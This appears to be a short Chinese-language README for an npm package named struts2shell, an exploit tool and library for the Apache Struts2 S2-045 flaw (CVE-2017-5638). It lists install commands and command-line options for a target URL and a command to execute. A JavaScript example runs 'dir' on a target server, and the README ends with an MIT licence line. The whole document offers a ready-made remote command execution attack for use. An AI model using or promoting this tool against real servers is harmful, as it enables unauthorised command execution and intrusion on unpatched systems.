针对 CVE-2017-5638 的漏洞利用(及库) - Apache Struts2 S2-045 漏洞。
$ npm install -g struts2shell
$ npm install struts2shell
-h, --help 输出使用信息
-V, --version 输出版本号
-u, --url [target] 要攻击的 URL
-c, --cmd [command] 要执行的命令
var Struts2Shell = require('struts2shell');
Struts2Shell({
URL: 'http://example.com/some.action',
CMD: 'dir'
}, function(err, response,body) {
if(err) throw err;
console.log(body)
})

MIT
自由软件,太好了!